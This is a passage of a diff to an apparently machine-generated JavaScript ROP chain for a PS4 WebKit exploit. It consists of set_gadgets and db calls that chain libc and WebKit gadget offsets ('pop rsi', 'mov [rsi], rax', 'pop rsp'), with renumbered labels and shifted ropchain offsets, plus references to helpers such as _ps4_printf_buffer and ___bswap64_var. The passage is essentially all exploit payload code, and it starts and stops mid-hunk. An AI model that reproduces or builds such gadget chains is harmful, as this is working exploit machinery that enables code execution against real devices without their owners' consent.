+//L2352: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16244,98 +16175,98 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+161288, //L2370 +ropchain+160888, //L2354 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161304, //L2372 +ropchain+160904, //L2355 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161272, //L2371 +ropchain+160872, //L2353 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2371: +//L2353: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2370: +//L2354: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2372: +//L2355: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161408, //L2376 +ropchain+161008, //L2358 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161456, //L2377 +ropchain+161056, //L2360 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+161424, //L2374 +ropchain+161040, //L2359 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2376: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2374: +//L2358: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2375: +//L2357: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2359: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2377: +//L2360: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+161568, //L2378+8 +ropchain+161168, //L2361+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+161560, //L2378 +ropchain+161160, //L2361 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2378: +//L2361: db([0, 0]); // 0x0 set_gadgets([ -ropchain+161584, //L2378+24 -ropchain+162408, //L2373 +ropchain+161184, //L2361+24 +ropchain+162008, //L2356 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161624, //L2381 +ropchain+161224, //L2363 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2381: +//L2363: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2379: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2380: +//L2362: +db([1, 0]); // 0x1 +set_gadget(libc_base+206806,); //pop rdi +//L2364: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161752, //L2383 +ropchain+161352, //L2366 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+161736, //L2382 +ropchain+161336, //L2365 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2382: +//L2365: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2383: +//L2366: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16344,14 +16275,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+161848, //L2385 +ropchain+161448, //L2368 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2384: +//L2367: db([16, 0]); // 0x10 set_gadget(libc_base+788575,); //pop rax -//L2385: +//L2368: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -16362,66 +16293,66 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+161992, //L2388 +ropchain+161592, //L2371 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161976, //L2387 +ropchain+161576, //L2370 webkit_base+7438103, //mov [rsi], rax libc_base+206806, //pop rdi -//L2386: +//L2369: ropchain+136, //_ps4_printf_fd libc_base+792472 //pop rcx ]); -//L2387: +//L2370: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2388: +//L2371: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+162144, //L2389 +ropchain+161744, //L2372 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+162176, //L2392 +ropchain+161776, //L2375 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+162160, //L2390 +ropchain+161728, //L2373 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162128, //L2391 +ropchain+161760, //L2374 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2391: +//L2373: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2389: +//L2372: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2390: +//L2374: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2392: +//L2375: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+162272, //L2394 +ropchain+161872, //L2377 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+162256, //L2393 +ropchain+161856, //L2376 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2393: +//L2376: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2394: +//L2377: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16429,8 +16360,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2396: -ropchain+162376, //L2395 +//L2379: +ropchain+161976, //L2378 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -16438,247 +16369,247 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+164792, //L2397 -//L2395: +ropchain+164392, //L2380 +//L2378: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L2373: +//L2356: libc_base+793877, //pop rsi -ropchain+162448, //L2398 +ropchain+162064, //L2383 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2398: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2399: +//L2382: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2383: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+162552, //L2401 +ropchain+162152, //L2384 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162568, //L2402 +ropchain+162168, //L2386 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2401: +//L2384: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2402: +//L2386: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+162728, //L2407 +ropchain+162328, //L2390 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162696, //L2404 +ropchain+162280, //L2388 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+162680, //L2405 +ropchain+162312, //L2389 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2405: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2404: +//L2388: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2406: +//L2387: db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L2389: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2407: +//L2390: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+162784, //L2408 +ropchain+162384, //L2392 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2408: +//L2392: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+162888, //L2410 +ropchain+162488, //L2393 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+162920, //L2412 +ropchain+162520, //L2395 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+162904, //L2411 +ropchain+162504, //L2394 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2410: +//L2393: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2411: +//L2394: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2412: +//L2395: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163080, //L2416 +ropchain+162680, //L2399 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163048, //L2413 +ropchain+162648, //L2396 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+163032, //L2414 +ropchain+162632, //L2397 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2414: +//L2397: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2413: +//L2396: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2415: +//L2398: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L2416: +//L2399: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+163136, //L2417 +ropchain+162736, //L2401 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2417: +//L2401: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+163240, //L2419 +ropchain+162840, //L2402 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+163272, //L2421 +ropchain+162872, //L2404 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163256, //L2420 +ropchain+162856, //L2403 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2419: +//L2402: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2420: +//L2403: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2421: +//L2404: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163344, //L2422 +ropchain+162944, //L2405 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+163360, //L2423 +ropchain+162960, //L2406 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2422: +//L2405: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2423: +//L2406: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163520, //L2427 +ropchain+163120, //L2410 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163488, //L2424 +ropchain+163088, //L2407 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+163472, //L2425 +ropchain+163072, //L2408 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2425: +//L2408: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2424: +//L2407: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2426: +//L2409: db([24, 0]); // 0x18 set_gadget(libc_base+788575,); //pop rax -//L2427: +//L2410: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+163576, //L2428 +ropchain+163176, //L2412 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2428: +//L2412: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+163680, //L2430 +ropchain+163280, //L2413 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+163712, //L2432 +ropchain+163312, //L2415 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163696, //L2431 +ropchain+163296, //L2414 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2430: +//L2413: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2431: +//L2414: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2432: +//L2415: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163808, //L2434 +ropchain+163408, //L2417 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163792, //L2433 +ropchain+163392, //L2416 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2433: +//L2416: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2434: +//L2417: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16686,44 +16617,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+163944, //L2437 +ropchain+163544, //L2420 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+163928, //L2436 +ropchain+163528, //L2419 webkit_base+7438103, //mov [rsi], rax libc_base+206806, //pop rdi -//L2435: +//L2418: ropchain+128, //_ps4_printf_buffer libc_base+792472 //pop rcx ]); -//L2436: +//L2419: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2437: +//L2420: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+164088, //L2440 +ropchain+163688, //L2423 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+164056, //L2438 +ropchain+163656, //L2421 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+164072, //L2439 +ropchain+163672, //L2422 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2438: +//L2421: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2439: +//L2422: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2440: +//L2423: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16731,36 +16662,36 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+164176, //L2442 +ropchain+163776, //L2425 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2441: +//L2424: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2442: +//L2425: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+164224, //L2443 +ropchain+163840, //L2427 webkit_base+7438103, //mov [rsi], rax +libc_base+788575, //pop rax +//L2426: +ropchain+128, //_ps4_printf_buffer libc_base+792472 //pop rcx ]); -//L2443: +//L2427: db([0, 0]); // 0x0 set_gadgets([ -libc_base+788575, //pop rax -//L2444: -ropchain+128, //_ps4_printf_buffer webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+164296, //L2446 +ropchain+163896, //L2429 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2446: +//L2429: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16770,22 +16701,22 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+164376, //L2448 +ropchain+163976, //L2431 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2448: +//L2431: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+164432, //L2450 +ropchain+164032, //L2433 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2450: +//L2433: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -16796,18 +16727,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+164560, //L2452 +ropchain+164160, //L2435 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+164544, //L2451 +ropchain+164144, //L2434 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2451: +//L2434: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2452: +//L2435: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16817,17 +16748,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+164656, //L2453 +ropchain+164256, //L2436 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+164672, //L2454 +ropchain+164272, //L2437 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2453: +//L2436: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2454: +//L2437: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16837,19 +16768,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+164784, //L2455 +ropchain+164384, //L2438 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+164768, //L2456 +ropchain+164368, //L2439 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2456: +//L2439: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2455: +//L2438: db([0, 0]); // 0x0 -//L2397: +//L2380: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -17065,11 +16996,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+166112, //L2457 +ropchain+165712, //L2440 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2457: +//L2440: db([0, 0]); // 0x0 //___bswap64_var: set_gadget(libc_base+793877,); //pop rsi @@ -17077,72 +17008,72 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+166184, //L2458 +ropchain+165784, //L2441 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2458: +//L2441: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+166280, //L2461 +ropchain+165880, //L2443 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+166312, //L2463 +ropchain+165912, //L2446 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L2461: +//L2443: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2462: +//L2445: db([16, 0]); // 0x10 set_gadget(libc_base+792472,); //pop rcx -//L2463: +//L2446: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+166400, //L2464 +ropchain+166000, //L2447 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+166416, //L2465 +ropchain+166016, //L2449 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2464: +//L2447: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2465: +//L2449: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+166536, //L2468 +ropchain+166120, //L2450 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+166552, //L2469 +ropchain+166152, //L2452 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+166520, //L2467 +ropchain+166136, //L2451 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2467: +//L2450: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2468: +set_gadget(libc_base+206806,); //pop rdi +//L2451: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2469: +//L2452: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17152,17 +17083,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+166648, //L2470 +ropchain+166248, //L2453 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+166664, //L2471 +ropchain+166264, //L2454 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2470: +//L2453: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2471: +//L2454: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17172,32 +17103,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+166776, //L2472 +ropchain+166376, //L2455 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+166760, //L2473 +ropchain+166360, //L2456 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2473: +//L2456: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2472: +//L2455: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+166864, //L2475 +ropchain+166464, //L2458 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+166848, //L2474 +ropchain+166448, //L2457 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2474: +//L2457: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2475: +//L2458: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17207,17 +17138,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+166960, //L2476 +ropchain+166560, //L2459 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+166976, //L2477 +ropchain+166576, //L2460 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2476: +//L2459: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2477: +//L2460: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17227,17 +17158,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167088, //L2478 +ropchain+166688, //L2461 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167072, //L2479 +ropchain+166672, //L2462 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2479: +//L2462: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2478: +//L2461: db([0, 0]); // 0x0 //___bswap32_var: set_gadget(libc_base+793877,); //pop rsi @@ -17245,128 +17176,128 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167160, //L2480 +ropchain+166760, //L2463 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2480: +//L2463: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+167256, //L2483 +ropchain+166856, //L2465 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+167288, //L2485 +ropchain+166888, //L2468 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L2483: +//L2465: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2484: +//L2467: db([16, 0]); // 0x10 set_gadget(libc_base+792472,); //pop rcx -//L2485: +//L2468: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+167376, //L2486 +ropchain+166976, //L2469 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+167392, //L2487 +ropchain+166992, //L2471 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2486: +//L2469: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2487: +//L2471: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+167544, //L2489 +ropchain+167144, //L2472 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167576, //L2492 +ropchain+167176, //L2475 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+167560, //L2490 +ropchain+167128, //L2473 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+167528, //L2491 +ropchain+167160, //L2474 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2491: +//L2473: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2489: +//L2472: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2490: +//L2474: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2492: +//L2475: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+167736, //L2496 +ropchain+167336, //L2479 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+167704, //L2493 +ropchain+167288, //L2477 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+167688, //L2495 +ropchain+167320, //L2478 webkit_base+7438103, //mov [rsi], rax 